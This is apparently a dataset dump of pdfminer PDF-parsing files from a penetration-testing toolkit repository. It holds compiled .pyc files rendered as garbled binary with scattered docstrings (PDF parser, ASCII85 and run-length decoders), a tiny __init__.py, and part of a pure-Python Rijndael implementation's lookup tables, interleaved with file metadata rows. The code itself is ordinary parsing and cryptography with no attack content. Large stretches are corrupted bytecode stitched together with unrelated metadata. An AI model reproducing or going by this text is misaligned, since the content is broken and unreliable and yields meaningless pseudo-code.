get_pagesÌs  cs=d|ijo tÇnáfdÜâà|iddÉS(NtOutlinesc3st|É}d|joyd|jp d|jo[tt|dÉÉ}|idÉ}|idÉ}|idÉ}|||||fVqínd|jo8d|jo+x(à|d|dÉD] }|VqƒWnd|jo'x$à|d|ÉD] }|Vq¯WndS( NtTitletAtDesttSEtFirsttLastitNext(RRRRp(tentrytlevelttitletdesttactiontseRW(RÂ(s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR s"     i(RûR(R*((RÂs</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt get_outlines s cstyt|idÉ}Wn+ttfj otààfÉÇnXt|àÉ}áááfdÜâà|ÉS(NtNamescs·d|jott|dÉ\}}à|jp |àjodSd|jo.t|dÉ}ttd|ÉÉ}|àSnd|jo=x:t|dÉD]$}àt|ÉÉ}|o|SqüWntààfÉÇdS(NtLimitsRˆiR‹(RR^tdictRRR-(tdtk1tk2R⁄tnamesR∏R‰(tlookuptcatR (s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR˝%s     (RRûR R-(R*R˛R R¸td0((R˛R R˝s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt lookup_names cCsäy|id|É}Wnmtj oad|ijot|ÉÇnt|idÉ}||jot|ÉÇn||}nX|S(NtDests(RR-RûR R(R*tnameR–Rˇ((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pytget_dest4s (RRRôRER}R3R¨RΩRŒRƒRRÿR“tsetRflRÊRıRR(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyRös  8   U   t PDFParsercBsåeZdZdÑZdÑZedÉZedÉZedÉZedÉZ edÉZ edÉZ d ÑZ d ÑZ d ÑZd ÑZRS( sv PDFParser fetch PDF objects from a file stream. It can handle indirect references by referring to a PDF document set by set_document method. It also reads XRefs at the end of every PDF file. Typical usage: parser = PDFParser(fp) parser.read_xref() parser.set_document(doc) parser.seek(offset) parser.nextobject() cCs&ti||Éd|_t|_dS(N(RR3R^RéR|tfallback(R*tfp((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR3Vs  cCs ||_dS(s0Associates the parser with a PDFDocument object.N(Ré(R*Ré((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR’\s R≥tnulltendobjRvR´t startxrefc Cs^||i|ifjo|i|idÉån(||ijo|i|idÉån˛||ijo|i|dfÉn◊||ijoÄyf|idÉ\\}}\}}t |Ét |É}}t |i ||É}|i||fÉWqZt j oqZXnG||i jo#|idÉ\\}}t|É}d}|ipIyt|dÉ}Wq°tj o"totd|ÉÇqùq°Xn|i|Éy|iÉ\}} Wn+tj ototdÉÇndSX|t| É7}|ii|É|ii|É} |i||Éxöy|iÉ\} } Wn+tj ototdÉÇnPnXd | jo,| id É} || 7}| | | 7} Pn|t| É7}| | 7} q8|i||Éd|ijo%tid |||| d fIJnt|| |i iÉ}|i||fÉn|i||fÉdS( sHandles PDF-related keywords.iiiiR±s/Length is undefined: %rsUnexpected EOFNt endstreams-Stream: pos=%d, objlen=%d, dic=%r, data=%r...i ( t KEYWORD_XREFtKEYWORD_STARTXREFt add_resultsRStKEYWORD_ENDOBJt KEYWORD_NULLtpushR^t KEYWORD_RR@R RéRtKEYWORD_STREAMRRRR-RRR9R6RR;RtreadRÑRERARBR R†( R*RFttokenRKR.RLR–RVtobjlenRGRbtlineposRÅ((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt do_keywordgsr!        cCs¨d}xt|iÉD]Z}|iÉ}d|ijotid|IJn|djoPn|o |}qqWtdÉÇd|ijotid|IJnt|ÉS(s0Internal function used to locate the first XRef.is find_xref: %rR sUnexpected EOFisxref found: pos=%rN(R^t revreadlinesR7RERARBRR=(R*tprevRG((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt find_xref∞s    cCs•|i|É|iÉy|iÉ\}}Wntj otdÉÇnXd|ijotid||fIJnt|t Éo:|i|É|iÉt É}|i |d|iÉn>||i jo|i ÉntÉ}|i |d|iÉ|i|É|iÉ}d|ijotid|IJnd|jo$t|dÉ}|i||Énd|jo$t|dÉ}|i||Énd S( s$Reads XRefs from the given location.sUnexpected EOFis"read_xref_from: start=%d, token=%rREis trailer: %rtXRefStmtPrevN(R9tresetRORRRERARBRnR@RaRNR R6R0R©R+Rtread_xref_from(R*RIRúRFRR´R2((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR¬s8          cCsçg}y |iÉ}|i||ÉWn`tj oTd|ijotidIJnt|_tÉ}|i |É|i |ÉnX|S(s5Reads all the XRefs in the PDF file and returns them.isno xref, fallback( RRRRERARBR}RR0R\R©(R*RúRFR´((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR®Âs    (RRRôR3R’RRRRRR R RRRR®(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyREs         I  #R‘cBs)eZdZdÑZdÑZdÑZRS(s( PDFStreamParser is used to parse PDF content streams that is contained in each page and has instructions for rendering the page. A reference to a PDF document is needed because a PDF content stream can also have indirect references to other objects in the same document. cCsti|t|ÉÉdS(N(RR3R(R*Rb((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR3scCs|i|iÉådS(N(Rtpopall(R*((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pytflushscCs®||ijoÅyf|idÉ\\}}\}}t|Ét|É}}t|i||É}|i||fÉWntj onXdS|i||fÉdS(Ni(RRSR@R RéRR(R*RFRRKR.RLR–((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR s!(RRRôR3R!R(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR‘¯s  (9RAR_RøthashlibRæt ImportErrort cStringIORtpsparserRRRRRRRtpdftypesRR R R R R RRRRRRRRtarcfourRtutilsRRRRRRRR R!R"R”RoR·R‡R™tobjectR(R0RaRÖRöRR‘(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt<module>sR   "     \H9ˇ-≥
27,720
Python
.py
187
145.823529
1,098
0.407634
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,816
ascii85.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/ascii85.pyc
Ñò Î ÈMc@s…dZddkZddkZd„ZeideiƒZeideiƒZd„Ze djoddk Z e i ƒndS(si Python implementation of ASCII85/ASCIIHex decoder (Adobe version). This code is in the public domain. iÿÿÿÿNcCs)d}}d}x|D] }d|jod|djoW|d7}|dt|ƒd}|djo$|tid |ƒ7}d}}q!q|d jo"|djpt‚|d 7}q|d joW|oKx&td|ƒD]}|dd }qâW|tid |ƒ|d 7}nPqqW|S(se In ASCII85 encoding, every four bytes are encoded with five ASCII letters, using 85 different types of characters (as 256**4 < 85**5). When the length of the original bytes is not a multiple of 4, a special rule is used for round up. The Adobe's ASCII85 implementation is slightly different from its original in handling the last characters. The sample string is taken from: http://en.wikipedia.org/w/index.php?title=Ascii85 >>> ascii85decode('9jqo^BlbD-BleB1DJ+*+F(f,q') 'Man is distinguished' >>> ascii85decode('E,9)oF*2M7/c~>') 'pleasure.' itt!tuiiUi!is>Ltztt~iT(tordtstructtpacktAssertionErrortrange(tdatatntbtouttct_((s:/pentest/enumeration/google/metagoofil/pdfminer/ascii85.pyt ascii85decode s*     " s ([a-f\d]{2})s#^(?:[a-f\d]{2}|\s)*([a-f\d])[\s>]*$cCshd„}t|ti|ƒƒ}ti|ƒ}|o$|i|d|idƒƒƒndi|ƒS(s… ASCIIHexDecode filter: PDFReference v1.4 section 3.3.1 For each pair of ASCII hexadecimal digits (0-9 and A-F or a-f), the ASCIIHexDecode filter produces one byte of binary data. All white-space characters are ignored. A right angle bracket character (>) indicates EOD. Any other characters will cause an error. If the filter encounters the EOD marker after reading an odd number of hexadecimal digits, it will behave as if a 0 followed the last digit. >>> asciihexdecode('61 62 2e6364 65') 'ab.cde' >>> asciihexdecode('61 62 2e6364 657>') 'ab.cdep' >>> asciihexdecode('7>') 'p' cSstt|dƒƒS(i(tchrtint(thx((s:/pentest/enumeration/google/metagoofil/pdfminer/ascii85.pyt<lambda>Gss%c0iR(tmapthex_retfindallttrail_retsearchtappendtgrouptjoin(R tdecodeRtm((s:/pentest/enumeration/google/metagoofil/pdfminer/ascii85.pytasciihexdecode6s  $t__main__( t__doc__treRRtcompilet IGNORECASERRR t__name__tdoctestttestmod(((s:/pentest/enumeration/google/metagoofil/pdfminer/ascii85.pyt<module>s   '   
3,065
Python
.py
39
74.205128
496
0.52579
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,817
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/__init__.py
#!/usr/bin/env python2 __version__ = '20110227' if __name__ == '__main__': print __version__
94
Python
.py
3
30
44
0.588889
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,818
runlength.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/runlength.pyc
Ñò Î ÈMc@s@ddkZd„ZedjoddkZeiƒndS(iÿÿÿÿNcCsòg}d}xÖ|t|ƒjoÂt||ƒ}|djoPn|djoM|djo@||d|d|d!}|i|ƒ|d|d}n|djo5||dd|}|i|ƒ|dd}qqWdi|ƒS(s RunLength decoder (Adobe version) implementation based on PDF Reference version 1.4 section 3.3.4: The RunLengthDecode filter decodes data that has been encoded in a simple byte-oriented format based on run length. The encoded data is a sequence of runs, where each run consists of a length byte followed by 1 to 128 bytes of data. If the length byte is in the range 0 to 127, the following length + 1 (1 to 128) bytes are copied literally during decompression. If length is in the range 129 to 255, the following single byte is to be copied 257 - length (2 to 128) times during decompression. A length value of 128 denotes EOD. >>> s = "123456ú7abcde€junk" >>> rldecode(s) '1234567777777abcde' ii€iit(tlentordtappendtjoin(tdatatdecodedtitlengthtrun((s</pentest/enumeration/google/metagoofil/pdfminer/runlength.pytrldecode s     t__main__(tsysR t__name__tdoctestttestmod(((s</pentest/enumeration/google/metagoofil/pdfminer/runlength.pyt<module> s  %  
1,597
Python
.py
18
82.388889
375
0.527848
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,819
rijndael.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/rijndael.py
#!/usr/bin/env python2 """ Python implementation of Rijndael encryption algorithm. This code is in the public domain. This code is based on a public domain C implementation by Philip J. Erdelsky: http://www.efgh.com/software/rijndael.htm """ import sys import struct def KEYLENGTH(keybits): return (keybits)/8 def RKLENGTH(keybits): return (keybits)/8+28 def NROUNDS(keybits): return (keybits)/32+6 Te0 = [ 0xc66363a5L, 0xf87c7c84L, 0xee777799L, 0xf67b7b8dL, 0xfff2f20dL, 0xd66b6bbdL, 0xde6f6fb1L, 0x91c5c554L, 0x60303050L, 0x02010103L, 0xce6767a9L, 0x562b2b7dL, 0xe7fefe19L, 0xb5d7d762L, 0x4dababe6L, 0xec76769aL, 0x8fcaca45L, 0x1f82829dL, 0x89c9c940L, 0xfa7d7d87L, 0xeffafa15L, 0xb25959ebL, 0x8e4747c9L, 0xfbf0f00bL, 0x41adadecL, 0xb3d4d467L, 0x5fa2a2fdL, 0x45afafeaL, 0x239c9cbfL, 0x53a4a4f7L, 0xe4727296L, 0x9bc0c05bL, 0x75b7b7c2L, 0xe1fdfd1cL, 0x3d9393aeL, 0x4c26266aL, 0x6c36365aL, 0x7e3f3f41L, 0xf5f7f702L, 0x83cccc4fL, 0x6834345cL, 0x51a5a5f4L, 0xd1e5e534L, 0xf9f1f108L, 0xe2717193L, 0xabd8d873L, 0x62313153L, 0x2a15153fL, 0x0804040cL, 0x95c7c752L, 0x46232365L, 0x9dc3c35eL, 0x30181828L, 0x379696a1L, 0x0a05050fL, 0x2f9a9ab5L, 0x0e070709L, 0x24121236L, 0x1b80809bL, 0xdfe2e23dL, 0xcdebeb26L, 0x4e272769L, 0x7fb2b2cdL, 0xea75759fL, 0x1209091bL, 0x1d83839eL, 0x582c2c74L, 0x341a1a2eL, 0x361b1b2dL, 0xdc6e6eb2L, 0xb45a5aeeL, 0x5ba0a0fbL, 0xa45252f6L, 0x763b3b4dL, 0xb7d6d661L, 0x7db3b3ceL, 0x5229297bL, 0xdde3e33eL, 0x5e2f2f71L, 0x13848497L, 0xa65353f5L, 0xb9d1d168L, 0x00000000L, 0xc1eded2cL, 0x40202060L, 0xe3fcfc1fL, 0x79b1b1c8L, 0xb65b5bedL, 0xd46a6abeL, 0x8dcbcb46L, 0x67bebed9L, 0x7239394bL, 0x944a4adeL, 0x984c4cd4L, 0xb05858e8L, 0x85cfcf4aL, 0xbbd0d06bL, 0xc5efef2aL, 0x4faaaae5L, 0xedfbfb16L, 0x864343c5L, 0x9a4d4dd7L, 0x66333355L, 0x11858594L, 0x8a4545cfL, 0xe9f9f910L, 0x04020206L, 0xfe7f7f81L, 0xa05050f0L, 0x783c3c44L, 0x259f9fbaL, 0x4ba8a8e3L, 0xa25151f3L, 0x5da3a3feL, 0x804040c0L, 0x058f8f8aL, 0x3f9292adL, 0x219d9dbcL, 0x70383848L, 0xf1f5f504L, 0x63bcbcdfL, 0x77b6b6c1L, 0xafdada75L, 0x42212163L, 0x20101030L, 0xe5ffff1aL, 0xfdf3f30eL, 0xbfd2d26dL, 0x81cdcd4cL, 0x180c0c14L, 0x26131335L, 0xc3ecec2fL, 0xbe5f5fe1L, 0x359797a2L, 0x884444ccL, 0x2e171739L, 0x93c4c457L, 0x55a7a7f2L, 0xfc7e7e82L, 0x7a3d3d47L, 0xc86464acL, 0xba5d5de7L, 0x3219192bL, 0xe6737395L, 0xc06060a0L, 0x19818198L, 0x9e4f4fd1L, 0xa3dcdc7fL, 0x44222266L, 0x542a2a7eL, 0x3b9090abL, 0x0b888883L, 0x8c4646caL, 0xc7eeee29L, 0x6bb8b8d3L, 0x2814143cL, 0xa7dede79L, 0xbc5e5ee2L, 0x160b0b1dL, 0xaddbdb76L, 0xdbe0e03bL, 0x64323256L, 0x743a3a4eL, 0x140a0a1eL, 0x924949dbL, 0x0c06060aL, 0x4824246cL, 0xb85c5ce4L, 0x9fc2c25dL, 0xbdd3d36eL, 0x43acacefL, 0xc46262a6L, 0x399191a8L, 0x319595a4L, 0xd3e4e437L, 0xf279798bL, 0xd5e7e732L, 0x8bc8c843L, 0x6e373759L, 0xda6d6db7L, 0x018d8d8cL, 0xb1d5d564L, 0x9c4e4ed2L, 0x49a9a9e0L, 0xd86c6cb4L, 0xac5656faL, 0xf3f4f407L, 0xcfeaea25L, 0xca6565afL, 0xf47a7a8eL, 0x47aeaee9L, 0x10080818L, 0x6fbabad5L, 0xf0787888L, 0x4a25256fL, 0x5c2e2e72L, 0x381c1c24L, 0x57a6a6f1L, 0x73b4b4c7L, 0x97c6c651L, 0xcbe8e823L, 0xa1dddd7cL, 0xe874749cL, 0x3e1f1f21L, 0x964b4bddL, 0x61bdbddcL, 0x0d8b8b86L, 0x0f8a8a85L, 0xe0707090L, 0x7c3e3e42L, 0x71b5b5c4L, 0xcc6666aaL, 0x904848d8L, 0x06030305L, 0xf7f6f601L, 0x1c0e0e12L, 0xc26161a3L, 0x6a35355fL, 0xae5757f9L, 0x69b9b9d0L, 0x17868691L, 0x99c1c158L, 0x3a1d1d27L, 0x279e9eb9L, 0xd9e1e138L, 0xebf8f813L, 0x2b9898b3L, 0x22111133L, 0xd26969bbL, 0xa9d9d970L, 0x078e8e89L, 0x339494a7L, 0x2d9b9bb6L, 0x3c1e1e22L, 0x15878792L, 0xc9e9e920L, 0x87cece49L, 0xaa5555ffL, 0x50282878L, 0xa5dfdf7aL, 0x038c8c8fL, 0x59a1a1f8L, 0x09898980L, 0x1a0d0d17L, 0x65bfbfdaL, 0xd7e6e631L, 0x844242c6L, 0xd06868b8L, 0x824141c3L, 0x299999b0L, 0x5a2d2d77L, 0x1e0f0f11L, 0x7bb0b0cbL, 0xa85454fcL, 0x6dbbbbd6L, 0x2c16163aL, ] Te1 = [ 0xa5c66363L, 0x84f87c7cL, 0x99ee7777L, 0x8df67b7bL, 0x0dfff2f2L, 0xbdd66b6bL, 0xb1de6f6fL, 0x5491c5c5L, 0x50603030L, 0x03020101L, 0xa9ce6767L, 0x7d562b2bL, 0x19e7fefeL, 0x62b5d7d7L, 0xe64dababL, 0x9aec7676L, 0x458fcacaL, 0x9d1f8282L, 0x4089c9c9L, 0x87fa7d7dL, 0x15effafaL, 0xebb25959L, 0xc98e4747L, 0x0bfbf0f0L, 0xec41adadL, 0x67b3d4d4L, 0xfd5fa2a2L, 0xea45afafL, 0xbf239c9cL, 0xf753a4a4L, 0x96e47272L, 0x5b9bc0c0L, 0xc275b7b7L, 0x1ce1fdfdL, 0xae3d9393L, 0x6a4c2626L, 0x5a6c3636L, 0x417e3f3fL, 0x02f5f7f7L, 0x4f83ccccL, 0x5c683434L, 0xf451a5a5L, 0x34d1e5e5L, 0x08f9f1f1L, 0x93e27171L, 0x73abd8d8L, 0x53623131L, 0x3f2a1515L, 0x0c080404L, 0x5295c7c7L, 0x65462323L, 0x5e9dc3c3L, 0x28301818L, 0xa1379696L, 0x0f0a0505L, 0xb52f9a9aL, 0x090e0707L, 0x36241212L, 0x9b1b8080L, 0x3ddfe2e2L, 0x26cdebebL, 0x694e2727L, 0xcd7fb2b2L, 0x9fea7575L, 0x1b120909L, 0x9e1d8383L, 0x74582c2cL, 0x2e341a1aL, 0x2d361b1bL, 0xb2dc6e6eL, 0xeeb45a5aL, 0xfb5ba0a0L, 0xf6a45252L, 0x4d763b3bL, 0x61b7d6d6L, 0xce7db3b3L, 0x7b522929L, 0x3edde3e3L, 0x715e2f2fL, 0x97138484L, 0xf5a65353L, 0x68b9d1d1L, 0x00000000L, 0x2cc1ededL, 0x60402020L, 0x1fe3fcfcL, 0xc879b1b1L, 0xedb65b5bL, 0xbed46a6aL, 0x468dcbcbL, 0xd967bebeL, 0x4b723939L, 0xde944a4aL, 0xd4984c4cL, 0xe8b05858L, 0x4a85cfcfL, 0x6bbbd0d0L, 0x2ac5efefL, 0xe54faaaaL, 0x16edfbfbL, 0xc5864343L, 0xd79a4d4dL, 0x55663333L, 0x94118585L, 0xcf8a4545L, 0x10e9f9f9L, 0x06040202L, 0x81fe7f7fL, 0xf0a05050L, 0x44783c3cL, 0xba259f9fL, 0xe34ba8a8L, 0xf3a25151L, 0xfe5da3a3L, 0xc0804040L, 0x8a058f8fL, 0xad3f9292L, 0xbc219d9dL, 0x48703838L, 0x04f1f5f5L, 0xdf63bcbcL, 0xc177b6b6L, 0x75afdadaL, 0x63422121L, 0x30201010L, 0x1ae5ffffL, 0x0efdf3f3L, 0x6dbfd2d2L, 0x4c81cdcdL, 0x14180c0cL, 0x35261313L, 0x2fc3ececL, 0xe1be5f5fL, 0xa2359797L, 0xcc884444L, 0x392e1717L, 0x5793c4c4L, 0xf255a7a7L, 0x82fc7e7eL, 0x477a3d3dL, 0xacc86464L, 0xe7ba5d5dL, 0x2b321919L, 0x95e67373L, 0xa0c06060L, 0x98198181L, 0xd19e4f4fL, 0x7fa3dcdcL, 0x66442222L, 0x7e542a2aL, 0xab3b9090L, 0x830b8888L, 0xca8c4646L, 0x29c7eeeeL, 0xd36bb8b8L, 0x3c281414L, 0x79a7dedeL, 0xe2bc5e5eL, 0x1d160b0bL, 0x76addbdbL, 0x3bdbe0e0L, 0x56643232L, 0x4e743a3aL, 0x1e140a0aL, 0xdb924949L, 0x0a0c0606L, 0x6c482424L, 0xe4b85c5cL, 0x5d9fc2c2L, 0x6ebdd3d3L, 0xef43acacL, 0xa6c46262L, 0xa8399191L, 0xa4319595L, 0x37d3e4e4L, 0x8bf27979L, 0x32d5e7e7L, 0x438bc8c8L, 0x596e3737L, 0xb7da6d6dL, 0x8c018d8dL, 0x64b1d5d5L, 0xd29c4e4eL, 0xe049a9a9L, 0xb4d86c6cL, 0xfaac5656L, 0x07f3f4f4L, 0x25cfeaeaL, 0xafca6565L, 0x8ef47a7aL, 0xe947aeaeL, 0x18100808L, 0xd56fbabaL, 0x88f07878L, 0x6f4a2525L, 0x725c2e2eL, 0x24381c1cL, 0xf157a6a6L, 0xc773b4b4L, 0x5197c6c6L, 0x23cbe8e8L, 0x7ca1ddddL, 0x9ce87474L, 0x213e1f1fL, 0xdd964b4bL, 0xdc61bdbdL, 0x860d8b8bL, 0x850f8a8aL, 0x90e07070L, 0x427c3e3eL, 0xc471b5b5L, 0xaacc6666L, 0xd8904848L, 0x05060303L, 0x01f7f6f6L, 0x121c0e0eL, 0xa3c26161L, 0x5f6a3535L, 0xf9ae5757L, 0xd069b9b9L, 0x91178686L, 0x5899c1c1L, 0x273a1d1dL, 0xb9279e9eL, 0x38d9e1e1L, 0x13ebf8f8L, 0xb32b9898L, 0x33221111L, 0xbbd26969L, 0x70a9d9d9L, 0x89078e8eL, 0xa7339494L, 0xb62d9b9bL, 0x223c1e1eL, 0x92158787L, 0x20c9e9e9L, 0x4987ceceL, 0xffaa5555L, 0x78502828L, 0x7aa5dfdfL, 0x8f038c8cL, 0xf859a1a1L, 0x80098989L, 0x171a0d0dL, 0xda65bfbfL, 0x31d7e6e6L, 0xc6844242L, 0xb8d06868L, 0xc3824141L, 0xb0299999L, 0x775a2d2dL, 0x111e0f0fL, 0xcb7bb0b0L, 0xfca85454L, 0xd66dbbbbL, 0x3a2c1616L, ] Te2 = [ 0x63a5c663L, 0x7c84f87cL, 0x7799ee77L, 0x7b8df67bL, 0xf20dfff2L, 0x6bbdd66bL, 0x6fb1de6fL, 0xc55491c5L, 0x30506030L, 0x01030201L, 0x67a9ce67L, 0x2b7d562bL, 0xfe19e7feL, 0xd762b5d7L, 0xabe64dabL, 0x769aec76L, 0xca458fcaL, 0x829d1f82L, 0xc94089c9L, 0x7d87fa7dL, 0xfa15effaL, 0x59ebb259L, 0x47c98e47L, 0xf00bfbf0L, 0xadec41adL, 0xd467b3d4L, 0xa2fd5fa2L, 0xafea45afL, 0x9cbf239cL, 0xa4f753a4L, 0x7296e472L, 0xc05b9bc0L, 0xb7c275b7L, 0xfd1ce1fdL, 0x93ae3d93L, 0x266a4c26L, 0x365a6c36L, 0x3f417e3fL, 0xf702f5f7L, 0xcc4f83ccL, 0x345c6834L, 0xa5f451a5L, 0xe534d1e5L, 0xf108f9f1L, 0x7193e271L, 0xd873abd8L, 0x31536231L, 0x153f2a15L, 0x040c0804L, 0xc75295c7L, 0x23654623L, 0xc35e9dc3L, 0x18283018L, 0x96a13796L, 0x050f0a05L, 0x9ab52f9aL, 0x07090e07L, 0x12362412L, 0x809b1b80L, 0xe23ddfe2L, 0xeb26cdebL, 0x27694e27L, 0xb2cd7fb2L, 0x759fea75L, 0x091b1209L, 0x839e1d83L, 0x2c74582cL, 0x1a2e341aL, 0x1b2d361bL, 0x6eb2dc6eL, 0x5aeeb45aL, 0xa0fb5ba0L, 0x52f6a452L, 0x3b4d763bL, 0xd661b7d6L, 0xb3ce7db3L, 0x297b5229L, 0xe33edde3L, 0x2f715e2fL, 0x84971384L, 0x53f5a653L, 0xd168b9d1L, 0x00000000L, 0xed2cc1edL, 0x20604020L, 0xfc1fe3fcL, 0xb1c879b1L, 0x5bedb65bL, 0x6abed46aL, 0xcb468dcbL, 0xbed967beL, 0x394b7239L, 0x4ade944aL, 0x4cd4984cL, 0x58e8b058L, 0xcf4a85cfL, 0xd06bbbd0L, 0xef2ac5efL, 0xaae54faaL, 0xfb16edfbL, 0x43c58643L, 0x4dd79a4dL, 0x33556633L, 0x85941185L, 0x45cf8a45L, 0xf910e9f9L, 0x02060402L, 0x7f81fe7fL, 0x50f0a050L, 0x3c44783cL, 0x9fba259fL, 0xa8e34ba8L, 0x51f3a251L, 0xa3fe5da3L, 0x40c08040L, 0x8f8a058fL, 0x92ad3f92L, 0x9dbc219dL, 0x38487038L, 0xf504f1f5L, 0xbcdf63bcL, 0xb6c177b6L, 0xda75afdaL, 0x21634221L, 0x10302010L, 0xff1ae5ffL, 0xf30efdf3L, 0xd26dbfd2L, 0xcd4c81cdL, 0x0c14180cL, 0x13352613L, 0xec2fc3ecL, 0x5fe1be5fL, 0x97a23597L, 0x44cc8844L, 0x17392e17L, 0xc45793c4L, 0xa7f255a7L, 0x7e82fc7eL, 0x3d477a3dL, 0x64acc864L, 0x5de7ba5dL, 0x192b3219L, 0x7395e673L, 0x60a0c060L, 0x81981981L, 0x4fd19e4fL, 0xdc7fa3dcL, 0x22664422L, 0x2a7e542aL, 0x90ab3b90L, 0x88830b88L, 0x46ca8c46L, 0xee29c7eeL, 0xb8d36bb8L, 0x143c2814L, 0xde79a7deL, 0x5ee2bc5eL, 0x0b1d160bL, 0xdb76addbL, 0xe03bdbe0L, 0x32566432L, 0x3a4e743aL, 0x0a1e140aL, 0x49db9249L, 0x060a0c06L, 0x246c4824L, 0x5ce4b85cL, 0xc25d9fc2L, 0xd36ebdd3L, 0xacef43acL, 0x62a6c462L, 0x91a83991L, 0x95a43195L, 0xe437d3e4L, 0x798bf279L, 0xe732d5e7L, 0xc8438bc8L, 0x37596e37L, 0x6db7da6dL, 0x8d8c018dL, 0xd564b1d5L, 0x4ed29c4eL, 0xa9e049a9L, 0x6cb4d86cL, 0x56faac56L, 0xf407f3f4L, 0xea25cfeaL, 0x65afca65L, 0x7a8ef47aL, 0xaee947aeL, 0x08181008L, 0xbad56fbaL, 0x7888f078L, 0x256f4a25L, 0x2e725c2eL, 0x1c24381cL, 0xa6f157a6L, 0xb4c773b4L, 0xc65197c6L, 0xe823cbe8L, 0xdd7ca1ddL, 0x749ce874L, 0x1f213e1fL, 0x4bdd964bL, 0xbddc61bdL, 0x8b860d8bL, 0x8a850f8aL, 0x7090e070L, 0x3e427c3eL, 0xb5c471b5L, 0x66aacc66L, 0x48d89048L, 0x03050603L, 0xf601f7f6L, 0x0e121c0eL, 0x61a3c261L, 0x355f6a35L, 0x57f9ae57L, 0xb9d069b9L, 0x86911786L, 0xc15899c1L, 0x1d273a1dL, 0x9eb9279eL, 0xe138d9e1L, 0xf813ebf8L, 0x98b32b98L, 0x11332211L, 0x69bbd269L, 0xd970a9d9L, 0x8e89078eL, 0x94a73394L, 0x9bb62d9bL, 0x1e223c1eL, 0x87921587L, 0xe920c9e9L, 0xce4987ceL, 0x55ffaa55L, 0x28785028L, 0xdf7aa5dfL, 0x8c8f038cL, 0xa1f859a1L, 0x89800989L, 0x0d171a0dL, 0xbfda65bfL, 0xe631d7e6L, 0x42c68442L, 0x68b8d068L, 0x41c38241L, 0x99b02999L, 0x2d775a2dL, 0x0f111e0fL, 0xb0cb7bb0L, 0x54fca854L, 0xbbd66dbbL, 0x163a2c16L, ] Te3 = [ 0x6363a5c6L, 0x7c7c84f8L, 0x777799eeL, 0x7b7b8df6L, 0xf2f20dffL, 0x6b6bbdd6L, 0x6f6fb1deL, 0xc5c55491L, 0x30305060L, 0x01010302L, 0x6767a9ceL, 0x2b2b7d56L, 0xfefe19e7L, 0xd7d762b5L, 0xababe64dL, 0x76769aecL, 0xcaca458fL, 0x82829d1fL, 0xc9c94089L, 0x7d7d87faL, 0xfafa15efL, 0x5959ebb2L, 0x4747c98eL, 0xf0f00bfbL, 0xadadec41L, 0xd4d467b3L, 0xa2a2fd5fL, 0xafafea45L, 0x9c9cbf23L, 0xa4a4f753L, 0x727296e4L, 0xc0c05b9bL, 0xb7b7c275L, 0xfdfd1ce1L, 0x9393ae3dL, 0x26266a4cL, 0x36365a6cL, 0x3f3f417eL, 0xf7f702f5L, 0xcccc4f83L, 0x34345c68L, 0xa5a5f451L, 0xe5e534d1L, 0xf1f108f9L, 0x717193e2L, 0xd8d873abL, 0x31315362L, 0x15153f2aL, 0x04040c08L, 0xc7c75295L, 0x23236546L, 0xc3c35e9dL, 0x18182830L, 0x9696a137L, 0x05050f0aL, 0x9a9ab52fL, 0x0707090eL, 0x12123624L, 0x80809b1bL, 0xe2e23ddfL, 0xebeb26cdL, 0x2727694eL, 0xb2b2cd7fL, 0x75759feaL, 0x09091b12L, 0x83839e1dL, 0x2c2c7458L, 0x1a1a2e34L, 0x1b1b2d36L, 0x6e6eb2dcL, 0x5a5aeeb4L, 0xa0a0fb5bL, 0x5252f6a4L, 0x3b3b4d76L, 0xd6d661b7L, 0xb3b3ce7dL, 0x29297b52L, 0xe3e33eddL, 0x2f2f715eL, 0x84849713L, 0x5353f5a6L, 0xd1d168b9L, 0x00000000L, 0xeded2cc1L, 0x20206040L, 0xfcfc1fe3L, 0xb1b1c879L, 0x5b5bedb6L, 0x6a6abed4L, 0xcbcb468dL, 0xbebed967L, 0x39394b72L, 0x4a4ade94L, 0x4c4cd498L, 0x5858e8b0L, 0xcfcf4a85L, 0xd0d06bbbL, 0xefef2ac5L, 0xaaaae54fL, 0xfbfb16edL, 0x4343c586L, 0x4d4dd79aL, 0x33335566L, 0x85859411L, 0x4545cf8aL, 0xf9f910e9L, 0x02020604L, 0x7f7f81feL, 0x5050f0a0L, 0x3c3c4478L, 0x9f9fba25L, 0xa8a8e34bL, 0x5151f3a2L, 0xa3a3fe5dL, 0x4040c080L, 0x8f8f8a05L, 0x9292ad3fL, 0x9d9dbc21L, 0x38384870L, 0xf5f504f1L, 0xbcbcdf63L, 0xb6b6c177L, 0xdada75afL, 0x21216342L, 0x10103020L, 0xffff1ae5L, 0xf3f30efdL, 0xd2d26dbfL, 0xcdcd4c81L, 0x0c0c1418L, 0x13133526L, 0xecec2fc3L, 0x5f5fe1beL, 0x9797a235L, 0x4444cc88L, 0x1717392eL, 0xc4c45793L, 